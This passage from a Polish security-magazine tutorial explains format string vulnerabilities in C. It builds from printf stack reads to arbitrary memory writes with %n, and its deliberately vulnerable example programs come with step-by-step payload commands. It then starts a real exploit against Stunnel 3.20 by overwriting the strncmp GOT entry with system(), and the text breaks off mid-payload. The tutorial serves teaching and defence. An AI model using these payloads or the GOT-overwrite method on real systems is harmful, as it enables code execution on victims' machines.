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Ciągi formatujące

Ciągi formatujące w języku C to cią-
gi tekstowe zawierające specjalne 
znaczniki rozpoznawane przez funk-

cję printf() i jej pochodne (np. sprintf(), 
fprintf()). Umożliwiają określenie formatu, 
w jakim wyświetlone zostaną podane funkcji ar-
gumenty. Jeśli program umożliwia użytkowni-
kowi przekazanie własnego ciągu tekstowego, 
a następnie użyje go jako ciągu formatującego, 
w wielu przypadkach intruz może tak przygo-
tować ciąg, by spowodować wykonanie przez 
program własnego kodu.

Sposób działania ciągów 
formatujących
Aby zrozumieć, jak działają ciągi formatujące 
i jak można wykorzystać je do przejęcia kontroli 
nad czyimś programem, spójrzmy na Listing 1. 
Przedstawia on program, który korzysta z cią-
gu formatującego, by wypisać krótki tekst:

$ ./listing_1

Nazwa firmy: Ogrodpol

Co jednak stanie się, jeśli funkcja printf() otrzy-
ma ciąg formatujący, ale nie otrzyma argumen-
tu? Spróbujmy uruchomić program z Listingu 2:

Nadużycia z wykorzystaniem 
ciągów formatujących
Piotr Sobolewski, Tomasz Nidecki

W drugiej połowie 2000 r. 
w środowiskach związanych 
z bezpieczeństwem systemów 
informatycznych zawrzało. 
Odkryto całkiem nową klasę 
nadużyć. Okazało się, że 
mnóstwo programów, między 
innymi tak znane aplikacje 
jak wu-ftpd, Apache i PHP3 
czy screen, ma poważne 
dziury. A wszystko przez ciągi 
formatujące.

$ ./listing_2

Nazwa firmy: Da

Przeanalizujmy sposób działania ciągów for-
matujących, by dowiedzieć się, skąd nasz pro-
gram wziął wyświetlony ciąg Da.

Na Rysunku 1 widać, co dzieje się na sto-
sie, kiedy wykonywany jest program z Listin-
gu 1 (po wywołaniu funkcji printf()). Na chwi-
lę przed wywołaniem funkcji na stos odkłada-
ne są argumenty: wskaźnik do ciągu a i wskaź-
nik do ciągu formatującego. Następnie funkcja 
printf() bierze ze stosu wskaźnik do ciągu for-
matującego i wypisuje ten ciąg. Kiedy natrafia 

Z artykułu nauczysz się...
•  jak wykorzystać ciągi formatujące do przejęcia 

kontroli nad dziurawym programem,
•  jak uniknąć błędów umożliwiających wykorzy-

stanie ciągów formatujących we własnych pro-
gramach.

Powinieneś wiedzieć...
•  powinieneś znać podstawy programowania 

w języku C.
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na znacznik %s, bierze ze stosu kolej-
ny argument – wskaźnik do zmiennej 
a. Następnie wypisuje to, na co kie-

ruje wskaźnik, jako tekst (%s – ciąg 
tekstowy, patrz Tabela 1).

Z kolei na Rysunku 2 widać, co 
dzieje się na stosie podczas wykona-
nia printf() w programie z Listingu 2.
Kiedy printf() wypisując ciąg forma-
tujący natrafia na %s, próbuje pobrać 

ze stosu wskaźnik do łańcucha zna-
ków. Ponieważ jednak nie przekaza-
liśmy argumentu, funkcja nie znaj-
dzie tam wskaźnika. Bierze więc ze 
stosu kolejne cztery bajty(zawiera-
jące przypadkowe wartości) i traktu-
je je jako wskaźnik do łańcucha zna-
ków, a następnie wypisuje domnie-
many łańcuch.

Jak wykorzystać właściwości 
ciągów formatujących
Pole do popisu dla intruza otwiera 
się, kiedy programista umożliwi prze-
kazanie ciągu tekstowego tak, by zo-
stał wykorzystany jako ciąg formatu-
jący. Spójrzmy na program z Listin-
gu 3. Teoretycznie nie widać w nim 
żadnego błędu – użytkownik podaje 
jako argument programu tekst, który 
zostaje wypisany. Jeśli jednak w cią-
gu podanym przez użytkownika znaj-
dą się znaki formatujące, efekty mo-
gą być zupełnie inne niż te zamierzo-
ne przez programistę.

Jak już zauważyliśmy po anali-
zie programu z Listingu 2, korzystając 
z ciągów formatujących będziemy mo-
gli odczytać wartość stosu. Użyjmy 
ciągu %x, który powoduje potraktowa-
nie argumentu jako czterobajtowego 
adresu i wypisanie go szesnastkowo:

Tabela 1. Najważniejsze znaczniki w ciągach formatujących

znacznik 
formatujący

wynik przekazywany jako

%d liczba całkowita wartość
%u liczba naturalna wartość
%x liczba naturalna, 

szesnastkowa
wartość

%s ciąg tekstowy odniesienie
%n liczba wypisanych 

dotąd znaków
odniesienie

Listing 1. Prosty program 
korzystający z ciągu 
formatującego

int main() {
  char *a = "Ogrodpol";
  printf("Nazwa firmy: %s\n", a);

}

Listing 2. Program z Listingu 1 
pozbawiony argumentu

int main() {
  printf("Nazwa firmy: %s\n");

}

Rysunek 1. Co dzieje się na stosie przy wykonywaniu programu z Listingu 1
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Rysunek 2. Co dzieje się na stosie przy wykonywaniu programu z Listingu 2
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Listing 3. Prosty program 
umożliwiający wykorzystanie 
właściwości ciągów 
formatujących do własnych 
celów

int main(int argc, char **argv) {
  char f[256];
  strcpy(f, argv[1]);

  printf(f);

}

Listing 4. Prawidłowe użycie znacznika %n

int main() {
  int a;
  printf("raz dwa trzy %n\n", &a);

  printf("wypisano %d znaków\n", a);

}
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$ ./listing_3 '%x-%x-%x'

bffffc4f-0-0

Jak się jednak okazuje, stosując je-
den ze znaczników możemy także 
pisać w dowolnym miejscu pamię-
ci. Znacznikiem odpowiedzialnym za 
ten stan rzeczy jest %n. Powoduje on, 
że do zmiennej, której adres poda-
ny został jako argument, zapisywa-
na jest wypisana dotychczas licz-
ba znaków. Prawidłowe użycie te-
go znacznika można zaobserwować 
w programie z Listingu 4:

$ ./listing_4 

raz dwa trzy 

wypisano 13 znaków

Jak widać, pierwsze printf() wypi-
suje raz dwa trzy, a następnie za-
pisuje w zmiennej a liczbę wypi-
sanych znaków (czyli trzynaście). 
Drugie printf() wypisuje zawartość 
zmiennej a.

Gdybyśmy jednak w pierwszym 
printf() nie podali argumentu (ad-
resu zmiennej a), ze stosu pobrane 
zostałyby pierwsze z brzegu czte-
ry bajty, potraktowane jako adres 
i pod ten właśnie adres zapisana zo-
stałby liczba wypisanych dotąd zna-
ków. Spróbujmy podać programowi 
z Listingu 3 ciąg zawierający %n:

$ ./listing_3 '%n %n %n %n'

Segmentation fault

Program próbował zapisywać pod lo-
sowymi adresami wartości określają-
ce liczbę wypisanych znaków. Spo-
wodowało to błąd segmentacji.

Szersze możliwości
Zapisywanie losowych liczb pod lo-
sowymi adresami nie daje zbyt wiel-

kiego pola do popisu. Możemy co 
najwyżej spowodować zakończenie 
programu z błędem. Aby uzyskać 
coś więcej, musimy panować nad 
tym co piszemy i gdzie piszemy.

Aby się tego nauczyć, spróbuj-
my zaatakować nieco rozbudowaną 
wersję programu z Listingu 3, przed-
stawioną na Listingu 5. Rozbudowa 
polega na dodaniu zmiennej z. Na-
szym celem będzie nadpisanie tej 
zmiennej wybraną wartością za po-
mocą ciągu formatującego. Przyjmij-
my, że w zmiennej x umieścimy licz-
bę 287454020, czyli szesnastkowe 
0x11223344.

Spróbujmy teraz uzyskać kon-
trolę nad tym, co piszemy i gdzie 
piszemy. Jak łatwo wywnioskować, 
ciąg xxx%n spowoduje zapisanie 
pod przypadkowym adresem licz-
by trzy (przed %n są bowiem trzy 
znaki), a na przykład ciąg xxxxxx%n 
– liczby sześć. Wiemy więc już, jak 
panować nad tym, co piszemy. Nie-
co trudniej uzyskać kontrolę nad 
tym, gdzie piszemy.

Zauważmy, że adres, pod któ-
ry zostanie zapisana wartość, jest 
brany ze stosu. Jak widać przy po-
równaniu Rysunków 1 i 2, w miejscu, 
w którym printf() spodziewa się ko-
lejnych adresów (czyli nad ciągiem 
formatującym) znajdują się zmien-
ne lokalne funkcji, która wywołuje 
printf(). W naszym przypadku są to 
zmienne lokalne funkcji main(). Jeśli 
w którejś z tych zmiennych umieści-
my adres, pod który chcemy pisać, 
zostanie on – w sprzyjających oko-
licznościach – potraktowany przez 
printf() jako adres, pod który ma 
zostać zapisana wartość.

Aby przekonać się, że printf() 
rzeczywiście może potraktować za-
wartość zmiennej f jako argument, 

spróbujmy umieścić w niej (na sa-
mym początku tablicy) ciąg AAAA, 
a następnie wypisać go za pomocą 
znacznika %x. W tym celu wydajmy 
polecenie:

$ ./listing_5 'AAAA-%x-%x-%x-%x-%x'

AAAA-bffffc44-0-0-41414141-2d78252d

zmienna x umieszczona jest pod adresem

bffffaac, jej zawartość to 0x40156238

Jak widać, po napotkaniu znaczni-
ka %x funkcja printf() pobrała ze 
stosu czterobajtowe słowo (oczeku-
jąc w tym miejscu argumentu) i wypi-
sała je szesnastkowo: bffffc44. Dru-
gi znacznik spowodował wypisanie 
drugiego czterobajtowego słowa ze 
stosu, podobnie kolejne. Zauważ-
my, że czwarty znacznik %x spowo-
dował wypisanie liczby 0x41414141, 
a jest to zapisany szesnastkowo ciąg 
AAAA.

Oznacza to, że pierwsze czte-
ry bajty tablicy f[] są przechowy-
wane na stosie w takim miejscu, 
że printf() traktuje je jako czwarty 
pseudoargument. W takim razie, je-
śli zamiast czwartego znacznika %x 
użyjemy %n, ten pseudoargument zo-
stanie potraktowany jako adres, pod 
który chcemy pisać. W efekcie wyda-
nie polecenia:

$ ./listing_5 'AAAA-%x-%x-%x-%n-%x'

spowoduje zapisanie jakiejś liczby 
pod adresem 0x41414141.

My jednak nie chcemy pisać pod 
adres 0x41414141, ale pod adres, pod 
którym przechowywana jest za-
wartość zmiennej x. Ten adres to 
0xbffffaac. Umieszczenie w tablicy 
f[] bajtu 0x41 było dość proste – tej 
liczbie odpowiada litera A w kodzie 
ASCII. Aby umieścić tam liczbę 0xbf, 
której nie odpowiada żadna zwykła 
litera, musimy zastosować mały trik.

Wykorzystamy do tego celu dwa 
fakty. Po pierwsze: za pomocą pole-
cenia echo możemy wypisać dowol-
ny bajt. Wystarczy użyć przełączni-
ka -e i podać szesnastkowo odpo-
wiedni kod:

$ echo -e "\x41\x42\x43\x44"

ABCD

Listing 5. Program, który spróbujemy zaatakować

int main(int argc, char **argv) {
  int x;
  char f[2560];
  strcpy(f, argv[1]);

  printf(f);

  printf("\nzmienna x umieszczona jest pod adresem §
    %x, jej zawartość to 0x%x\n", &x, x);

}
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Po drugie: jeśli w poleceniu zawrze-
my jakąś komendę zamkniętą w zna-
kach odwróconego apostrofu (̀ )̀, zo-
stanie ona wykonana, a poleceniu 
zostanie przekazany wynik. Przy-
kład: polecenie cat `which ls̀  jest 
równoważne cat /bin/ls.

Łącząc te dwa fakty, możemy 
wydać polecenie:

$ ./listing_5 \

  `echo -e '\x41\x41\x41\x41'`\

  '-%x-%x-%x-%x-%x'

i będzie ono równoważne poleceniu:

$ ./listing_5 'AAAA-%x-%x-%x-%x-%x'

Tak więc, aby czwartym pseudoar-
gumentem była liczba 0x11223344 
możemy wydać polecenie:

$ ./listing_5 \

  `echo -e '\x11\x22\x33\x44'`\

  '-%x-%x-%x-%x-%x'

Jego efekt będzie następujący:

"3D-bffffc44-0-0-44332211-2d78252d

zmienna x umieszczona jest pod adresem

bffffaac, jej zawartość to 0x40156238

Jak widać, teraz czwartym pseudo-
argumentem jest wartość, którą po-
daliśmy w linii poleceń. Bajty pojawi-
ły się jednak w odwrotnej kolejności, 
ze względu na fakt, że pracujemy na 
architekturze little endian.

Chcąc więc zapisać coś w miej-
scu, pod którym przechowywa-
na jest zmienna x, czyli pod ad-

resem bffffaac, musimy podać 
ten adres w linii poleceń zamiast 
0x11223344:

$ ./listing_5 \

  `echo -e '\xac\xfa\xff\xbf'`\

  '-%x-%x-%x-%x-%x'

Źú˙ż-bffffc44-0-0-bffffaac-2d78252d

zmienna x umieszczona jest pod adresem

bffffaac, jej zawartość to 0x40156238

Jak widać, w czwartym pseudoar-
gumencie znajduje się 0xbffffaac, 
czyli adres zmiennej x. Teraz wy-
starczy zamiast czwartego znacz-
nika %x użyć %n, a spowodujemy 
zmodyfikowanie zawartości zmien-
nej x:

./listing_5 \

  `echo -e '\xac\xfa\xff\xbf'`\

  '-%x-%x-%x-%n-%x'

Źú˙ż-bffffc44-0-0--2d78252d

zmienna x umieszczona jest pod adresem

bffffaac, jej zawartość to 0x12

Udało nam się nadpisać zmienną x, 
ale nie wartością 0x11223344, tylko 
0x12 (dziesiątkowe 18) – tyle wła-
śnie znaków zostało wypisanych, 
zanim funkcja printf() dotarła do 
znacznika %n. Wystarczy więc dopi-
sać przed znacznikiem %n kilka do-
wolnych znaków (na przykład liter 
C), a do zmiennej x trafi odpowiednio 
większa liczba.

Policzmy, ile liter C musimy do-
dać. W tej chwili do x trafia licz-
ba 18, a chcemy, żeby trafiało tam 
287454020, czyli szesnastkowe 
0x11223344. Musimy więc dopisać 

287454020–18=287454002 liter C. 
Prawie trzysta milionów. Nie będzie 
to proste, zwłaszcza, że tablica f[] 
mieści tylko 2560 bajtów.

Na skróty
Zanim dowiemy się, jak korzystać 
ze znacznika %n do wstawiania du-
żych liczb, przyjrzyjmy się jesz-
cze jednej przydatnej cesze funk-
cji printf(). Dotąd w celu skorzy-
stania z czwartego pseudoargu-
mentu najpierw kazaliśmy printf() 
skorzystać z trzech poprzednich. 
W ten sposób, jeśli chcieliśmy, że-
by znacznik %n pisał pod adres 
umieszczony w czwartym pseudo-
argumencie, najpierw umieszcza-
liśmy w ciągu formatującym trzy 
znaczniki %x.

Ten cel można jednak osiągnąć 
w prostszy sposób. Polecenie:

$ ./listing_5 \

  `echo -e '\x41\x41\x41\x41'`'-%4$x'

spowoduje wypisanie czwartego 
pseudoargumentu – odpowiada za 
to znacznik %4$x.

AAAA-41414141

zmienna x umieszczona jest pod adresem

bffff9ec, jej zawartość to 0x4015d550

Podobnie, aby zmodyfikować za-
wartość zmiennej x, możemy 
wprost nakazać pisanie pod adres 
określony przez czwarty pseudo-
argument:

./listing_5 `echo -e \

  '\xac\xfa\xff\xbf'`'-%4$n'

Źú˙ż-

zmienna x umieszczona jest pod adresem

bffffaac, jej zawartosc to 0x5

Uwaga: podczas przeprowadzania 
eksperymentów może okazać się, że 
kiedy jako argument linii poleceń po-
damy ciąg o innej długości, zmien-
na x jest przechowywana pod innym 
adresem. Dlatego za każdym razem 
trzeba uważnie przyglądać się po-
dawanemu przez program adresowi 
zmiennej x i, jeśli trzeba, odpowied-
nio zmieniać wartość podawaną w li-
nii poleceń.

Rysunek 3. Sztuczka umożliwiająca zapisywanie dużych liczb za pomocą 
mniejszych
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Jak zapisywać duże liczby
Zastanówmy się teraz, jakiej 
sztuczki użyć, by za pomocą nie-
wielkich liczb umieścić w pamię-
ci duże wartości. Propozycję ta-
kiej sztuczki widać na Rysunku 3. 
Widać na nim sposób, w jaki moż-
na umieścić w pamięci czterobaj-
tową liczbę 0x99887766, nie zapi-
sując jednorazowo liczby większej 
niż 0xff.

Jak widać, najpierw pod odpo-
wiednim adresem umieścimy licz-
bę 0x66. Następnie pod adresem 
o jeden większym – 0x77, a pod 
kolejnymi 0x88 i 0x99. W efekcie 
w pamięci zapisana została liczba 
0x99887766. Efektem ubocznym 
jest nadpisanie zerami trzech bajtów 
przed 0x99887766.

Aby dodatkowo ułatwić so-
bie zadanie, posłużymy się jesz-
cze jednym mechanizmem, który 
umożliwi nam uniknięcie wypisy-
wania bardzo dużej liczby znaków. 
Znaczniki formatujące umożliwiają 
wyrównywanie wypisywanych war-
tości do określonej liczby znaków. 
Na przykład %24x powoduje, że wy-
pisana zostanie wartość szesnast-
kowa, wyrównana do dwudziestu 
czterech znaków. Do wypisanej tre-
ści zostanie dołożona taka liczba 
spacji, żeby łączna liczba wypisa-
nych znaków wyniosła 24.

Sprawdźmy, jak działa ta me-
toda, umieszczając w zmiennej x 
liczbę 200. Jak pamiętamy, pole-
cenie:

./listing_5 \

  `echo -e '\xac\xfa\xff\xbf'`'-%4$n'

powoduje umieszczenie w zmien-
nej x liczby 5. Aby umieścić w x licz-
bę 200 (o 195 większą), do cią-
gu formatującego dodamy znacznik 
%195x, wypisujący 195 znaków:

./listing_5 \

  `echo -e '\xac\xfa\xff\xbf'`\

  '-%195x%4$n'

Źú˙ż-(...)bffffc49

zmienna x umieszczona jest pod adresem

bffffaac, jej zawartość to 0xc8

0xc8 to dziesiątkowo 200.

Spróbujmy połaczyć obie meto-
dy, by umieścić w zmiennej x liczbę 
0x99887766. W tym celu dziurawe-
mu programowi podamy ciąg składa-
jący się po kolei z:

•  czterobajtowego adresu – adresu 
zmiennej x,

•  czterobajtowego adresu – adre-
su o jeden większego od adresu 
zmiennej x,

•  czterobajtowego adresu – adre-
su o dwa większego od adresu 
zmiennej x,

•  czterobajtowego adresu – adre-
su o trzy większego od adresu 
zmiennej x,

•  znacznika %<jakaś _ liczba>x 
– wypisującego tyle znaków, by 
łącznie wypisanych było 0x66 
znaków,

•  znacznika %4$n – umieszczają-
cego liczbę wypisanych znaków 
(czyli 0x66) w adresie wziętym 
z czwartego pseudoargumentu 
(czyli w pierwszym bajcie zmien-
nej x),

•  znacznika %<jakaś _ liczba>x 
– wypisującego tyle znaków, by 

łącznie, z poprzednio wypisa-
nymi znakami, wypisanych było 
0x77 znaków,

•  znacznika %5$n – umieszczają-
cego liczbę wypisanych znaków 
(czyli 0x77) w adresie wziętym 
z piątego pseudoargumentu (czy-
li w drugim bajcie zmiennej x),

•  znacznika %<jakaś _ liczba>x 
– wypisującego tyle znaków, by 
łącznie, z poprzednio wypisa-
nymi znakami, wypisanych było 
0x88 znaków,

•  znacznika %6$n – umieszcza-
jącego liczbę wypisanych zna-
ków (czyli 0x88) w adresie wzię-
tym z szóstego pseudoargu-
mentu (czyli w trzecim bajcie 
zmiennej x),

•  znacznika %<jakaś _ liczba>x 
– wypisującego tyle znaków, by 
łącznie, z poprzednio wypisa-
nymi znakami, wypisanych było 
0x99 znaków,

•  znacznika %7$n – umieszczającego 
liczbę wypisanych znaków (czy-
li 0x99) w adresie wziętym z siód-
mego pseudoargumentu (czyli 
w czwartym bajcie zmiennej x).

Rysunek 4. Modyfikacja sztuczki z Rysunku 3
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Stunnel
Program Stunnel służy do szyfrowanego tunelowania połączenia TCP. Oznacza 
to możliwość nawiązania połączenia szyfrowanego między dwoma maszynami 
w sytuacji, kiedy łączące się programy lub protokoły nie umożliwiają stosowania 
szyfrowania.

Stunnel może być na przykład wykorzystany do nawiązania szyfrowanego po-
łączenia z serwerem SMTP, nawet jeśli nasz klient pocztowy nie umożliwia korzy-
stania z SSL. Kiedy będziemy chcieli połączyć się z serwerem SMTP, będziemy za-
miast tego łączyć się ze Stunnelem działającym na lokalnym komputerze, na lokal-
nym porcie. Stunnel nawiąże szyfrowane połączenie z serwerem SMTP i będzie 
pośredniczył w połączeniu.
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Policzmy, ile znaków trzeba wypi-
sywać. Cztery adresy umieszczo-
ne na początku ciągu formatują-
cego zajmują łącznie szesnaście 
bajtów, więc pierwszy znacznik 
%<jakaś _ liczba>x musi wypisywać 
0x66–16=86 znaków. Drugi znacz-
nik %<jakaś _ liczba>x powinien wy-
pisać 0x77–0x66=17 znaków, trzeci 
– 0x88–0x77=17 znaków, a czwarty 
– 0x99–0x88=17.

Ostatecznie więc ciąg, którego 
użyjemy, wyglądać będzie następu-
jąco:

xac\xfa\xff\xbf\xad\xfa\xff\xbf §
xae\xfa\xff\xbf\xaf\xfa\xff\xbf §
%86x%4$n%17x%5$n%17x%6$n%17x%7$n

Zaś polecenie, które go wypisze:

$ ./listing_5 \

  `echo -e '\xac\xfa\xff\xbf' §
  '\xad\xfa\xff\xbf''\xae\xfa\xff\xbf' §
  '\xaf\xfa\xff\xbf'`'%86x%4$n §
  %17x%5$n%17x%6$n%17x%7$n'

Nie daje ono jednak oczekiwanego 
rezultatu:

Źú˙żú˙ż®ú˙żŻú˙ż(...)bffffc27 §
  (...)0(...)0(...)bffffaac

zmienna x umieszczona jest pod adresem

bffffa7c, jej zawartość to 0x40156238

Podanie dłuższego argumentu linii 
poleceń spowodowało, że zmienił 
się adres zmiennej x, musimy więc 
odpowiednio zmienić cztery adresy, 
od których zaczyna się nasz ciąg:

$ ./listing_5 \

  `echo -e '\x7c\xfa\xff\xbf' §
  '\x7d\xfa\xff\xbf''\x7e\xfa\xff\xbf' §
  '\x7f\xfa\xff\xbf'`'%86x%4$n §
  %17x%5$n%17x%6$n%17x%7$n'

(???)ú˙żú˙żz˙ż(...)bffffc27(...)§
  0(...)0(...)bffffa8c

zmienna x umieszczona jest pod adresem

bffffa8c, jej zawartość to 0x99887766

Pierwotnie jednak chcieliśmy mieć 
w zmiennej x liczbę 0x11223344, 
a nie 0x99887766. Ponieważ jed-
nak liczba 0x33 jest mniejsza niż 
0x44, nie da się najpierw wypi-
sać 0x44 znaków, a potem wypi-

sać jeszcze trochę, by łącznie wy-
pisanych było 0x33 znaków. Na 
szczęście możemy zamiast liczby 
0x33 użyć np. 0x133, zamiast 0x22 
– 0x222, zamiast 0x11 – 0x311. 
Efekt będzie ten sam – patrz Rysu-
nek 4. Uwzględniając fakt, że przy 
zmianie treści ciągu formatującego 
zmienił się adres zmiennej x, odpo-
wiednie polecenie będzie wyglądać 
w następujący sposób:

$ ./listing_5 `echo -e \

  '\x6c\xfa\xff\xbf' §
  '\x6d\xfa\xff\xbf' §
  '\x6e\xfa\xff\xbf' §
  '\x6f\xfa\xff\xbf'`\

  '%52x%4$n%239x%5$n%239x §
  '%6$n%239x%7$n

  %5$n%273x%6$n%222x%7$n'

lú˙żmú˙żnú˙żoú˙ż(...)bffffc10 §
  (...)0(...)0(...)bffffa6c

zmienna x umieszczona jest pod adresem

bffffa6c, jej zawartość to 0x11223344

Przykład z życia wzięty
Czas zastosować wiedzę w prakty-
ce, do przejęcia kontroli nad praw-
dziwą aplikacją, a nie testowym 
programem. Naszym celem bę-
dzie wersja 3.20 programu Stun-
nel (patrz Ramka Stunnel). Znale-
ziono w niej błąd związany z ciąga-
mi formatującymi, objawiający się 
w chwili, kiedy Stunnel działa jako 
klient SMTP.

W funkcji smtp _ client() zde-
finiowanej w pliku protocol.c (peł-
ne źródła tej wersji Stunnela moż-
na znaleźć na naszym CD) znaj-
duje się fragment widoczny na Li-
stingu 6.

Jak widać, do tablicy line wczy-
tywany jest ciąg pobrany z pliku 
o deskryptorze remote. Następnie  
zawartość tablicy line wpisywana 
jest – za pomocą funkcji fdprintf() 
– do pliku o deskryptorze local _ wr. 

Jeśli w zmiennej line umieścimy 
znaczniki formatujące, zostaną one 
zinterpretowane przez fdprintf().

Jak wykorzystać błąd
Jeśli przyjrzymy się dokładniej źró-
dłom Stunnela, okaże się, że funk-
cja smtp _ client() zostanie wykona-
na, kiedy Stunnel zostanie wykorzy-
stany do nawiązania szyfrowanego 
połączenia z serwerem SMTP, czyli 
uruchomiony z opcjami:

$ ./stunnel -c -n smtp \

  -r 127.0.0.1:2525

Wygląda na to, że jeśli serwer SMTP 
prześle wtedy Stunnelowi ciąg za-
wierający znaczniki formatują-
ce, zostaną one zinterpretowane. 
Sprawdźmy, czy tak jest w praktyce. 
Zamiast serwera SMTP użyjmy net-
cata, uruchomionego tak, by nasłu-
chiwał na porcie 2525:

$ nc -l -p 2525

Następnie na drugim terminalu uru-
chomimy Stunnel, za pomocą któ-
rego nawiążemy połączenie z net-
catem:

$ ./stunnel -c -n smtp \

  -r 127.0.0.1:2525

Jeśli teraz w pierwszym terminalu 
(tym, na którym działa netcat) wpi-
szemy ciąg formatujący:

AAAA.%x.%x.%x.%x

Stunnel wypisze:

AAAA.bffff4e0.402f4550.0

Jeśli więc podstępem spowoduje-
my, że ofiara połączy się za pomo-
cą dziurawej wersji Stunnela z na-

Listing 6. Błąd w funkcji smtp_client() w programie Stunnel

do { /* Copy multiline greeting */
    if(fdscanf(remote, "%[^\n]", line)<0)
        return -1;
    if(fdprintf(local_wr, line)<0)
        return -1;
} while(strncmp(line,"220-",4)==0);
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szym komputerem, na którym dzia-
ła netcat udający serwer SMTP, mo-
żemy wysłać spreparowany ciąg for-
matujący. Jak już się przekonali-
śmy, w ten sposób możemy umie-
ścić w pamięci komputera ofiary do-
wolną wartość pod dowolnym adre-
sem. Musimy jeszcze wiedzieć, w ja-
ki sposób wykorzystać tę możliwość 
– jakie miejsce w pamięci nadpisze-
my i jaką wartością.

Aby uzyskać kontrolę nad kom-
puterem ofiary, musimy zmusić pro-
gram do wykonania dostarczone-
go przez nas kodu. Mając do dys-
pozycji możliwość pisania w dowol-
nym miejscu pamięci jesteśmy w sta-
nie spowodować, że program wywo-
ła inną funkcję, niż przewidywał je-
go twórca. Spróbujemy więc zmu-
sić go do wywołania funkcji system() 
z podanymi przez nas parametra-
mi. Spowoduje to uruchomienie ko-
du dostarczonego w postaci para-
metrów.

Skorzystanie 
z Global Offset Table
Aby zmusić program do wykona-
nia funkcji system(), zastosujemy 
pewną właściwość dynamicznie łą-
czonych bibliotek (Dynamically Lin-
ked Library – DLL). Korzysta z nich 
prawie każda aplikacja. Otóż w mo-
mencie, kiedy program jest kompilo-
wany nie wiadomo jeszcze, pod ja-

kim adresem w pamięci znajdować 
się będą funkcje z ładowanych póź-
niej bibliotek. Dlatego w miejscu, 
w którym program ma skorzystać 
z funkcji pochodzącej z biblioteki 
DLL, podczas kompilacji umiesz-
czane jest odwołanie do specjalnej 
struktury, zwanej GOT (ang. Global 
Offset Table).

Struktura ta znajduje się w prze-
strzeni adresowej procesu (w pa-
mięci) i zawiera adresy poszczegól-
nych funkcji ustalone podczas łado-
wania biblioteki DLL. Tak więc, gdy 
program chce korzystać na przykład 
z funkcji strncmp() (patrz Rysunek 
5), wykonuje skok do tablicy GOT. 
Dopiero stąd wykonywany jest skok 
do odpowiedniego miejsca w pamię-
ci, do którego załadowana została 
funkcja strncmp() z odpowiedniej bi-
blioteki (w tym przypadku libc).

Zobaczmy, co stanie się z pro-
gramem Stnunnel (patrz Listing 6),
jeśli zmodyfikujemy tablicę GOT 
tak, że zapis dotyczący funkcji 
strncmp() będzie wskazywać na 
funkcję system(). W praktyce zamiast 
strncmp(line, ...) (ostatnia linijka Li-
stingu 6) wykonane zostanie polece-
nie system(line, ...). Ponieważ za-
wartość zmiennej line zależy tylko 
od nas (jest to tekst, który wysyłamy 
za pomocą netcata), możemy umie-
ścić w niej dowolne polecenie, które 
następnie zostanie wykonane przez 
powłokę. Ciąg wysłany za pomocą 
netcata do Stunnelu musi więc za-
wierać dwa elementy:

•  polecenie, które zostanie wyko-
nane przez powłokę, zakończo-
ne znakiem komentarza,

•  ciąg formatujący, powodujący 
nadpisanie wybranego przez nas 
miejsca w pamięci (w strukturze 
GOT) wybraną przez nas warto-
ścią (adresem funkcji), tak, by za-
miast strncmp() wywołana zosta-
ła funkcja system().

Aby przygotować odpowiedni ciąg, 
musimy najpierw ustalić kilka fak-
tów:

•  w jakim miejscu w pamięci 
(w przestrzeni adresowej procesu 

stunnel) znajduje się wpis w GOT 
odpowiadający funkcji strncmp(),

•  w jakim miejscu w pamięci 
(w przestrzeni adresowej proce-
su stunnel) załadowana jest bi-
blioteka libc,

•  w jakim miejscu w bibliotece libc 
znajduje się funkcja system().

Aby dowiedzieć się, w jakim miej-
scu w pamięci znajduje się wpis 
w GOT odpowiadający funkcji 
strncmp(), skorzystamy z narzędzia 
objdump, który umożliwia wyświe-
tlanie informacji dotyczących pli-
ków wynikowych (czyli plików będą-
cych wynikiem kompilacji). Opcja -R 
(--dynamic-reloc) programu objdump 
umożliwia wyświetlenie wszystkich 
dynamicznie relokowanych wpisów 
w danym pliku – także dzielonych bi-
bliotek. Wydajmy polecenie:

$ objdump -R stunnel

W wypisanej przez objdump liście 
znajdujemy wpis dotyczący funkcji 
strncmp().

$ objdump -R stunnel | grep strncmp

08053490 R_386_JUMP_SLOT   strncmp

Znaleziony adres – 0x08053490 
– jest miejscem w pamięci, które ze-
chcemy zmodyfikować.

Aby sprawdzić, w jakim miejscu 
w pamięci załadowana jest bibliote-
ka libc, obejrzyjmy zawartość pliku 
/proc/<PID procesu stunnel>/maps. 
Plik ten zawiera listę aktualnie zma-
powanych dla danego procesu adre-
sów pamięci oraz prawa dostępu do 
nich (man proc). Uruchamiamy Stun-
nel i sprawdzamy jego PID:

$ nc -l -p 2525

$ ./stunnel -c -n smtp \

  -r 127.0.0.1:2525

$ ps | grep stunnel

2105 pts/1 00:00:00 stunnel

W pliku /proc/2105/maps znajduje-
my dwa wpisy dotyczące bibliote-
ki libc:

40173000-402a6000 r-xp

  00000000 07:00 81837

Rysunek 5. Schemat skoku do 
strncmp() przez GOT
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  /mnt/aurox/lib/tls/libc-2.3.2.so

402a6000-402aa000 rw-p

  00132000 07:00 81837

  /mnt/aurox/lib/tls/libc-2.3.2.so

Interesuje nas wpis z atrybutem wy-
konywalności (x). Zapamiętajmy więc 
adres: 0x40173000.

Teraz musimy znaleźć miejsce, 
gdzie w bibliotece libc znajduje się 
funkcja system(). W tym celu skorzy-
stamy z narzędzia nm, które podaje 
listę symboli w pliku wynikowym – 
w naszym przypadku w pliku biblioteki 
libc. Zastosujemy opcję -D (--dynamic), 
która wyświetli symbole dynamiczne:

$ nm -D /lib/libc-2.3.2.so \

  | grep system

(...)

0003d4d0 W system

Skoro biblioteka libc jest ładowa-
na pod adres 0x40173000 – a we-
wnątrz niej funkcja system() za-
czyna się od offsetu 0x0003d4d0 
– to adres, pod którym w prze-
strzeni adresowej procesu stunnel 
umieszczona jest funkcja system(), 
wynosi 0x40173000+0x0003d4d0
=0x401b04d0. Tę właśnie wartość 
musimy umieścić pod adresem 
0x08053490.

Tworzymy ciąg
Mamy już komplet informacji po-
trzebnych do stworzenia ciągu. Bę-
dzie on wyglądał następująco:

•  polecenie do wykonania, zakoń-
czone znakiem komentarza (by 
dalsza część ciągu nie była wy-
konywana), na przykład touch 

xxxx #,
•  adres 0x08053490,
•  adres 0x08053491,
•  adres 0x08053492,
•  adres 0x08053493,
•  znacznik %<jakaś _ liczba>x – wy-

pisujący odpowiednią liczbę zna-
ków,

•  znacznik %<jakaś _ liczba>$n 
– umieszczający liczbę wypi-
sanych znaków pod adresem
wziętym z odpowiedniego pseu-
doargumentu (czyli pod adresem 
0x08053490),

•  znacznik %<jakaś _ liczba>x,
•  znacznik %<jakaś _ liczba>$n 

– umieszczający liczbę wypi-
sanych znaków pod adresem 
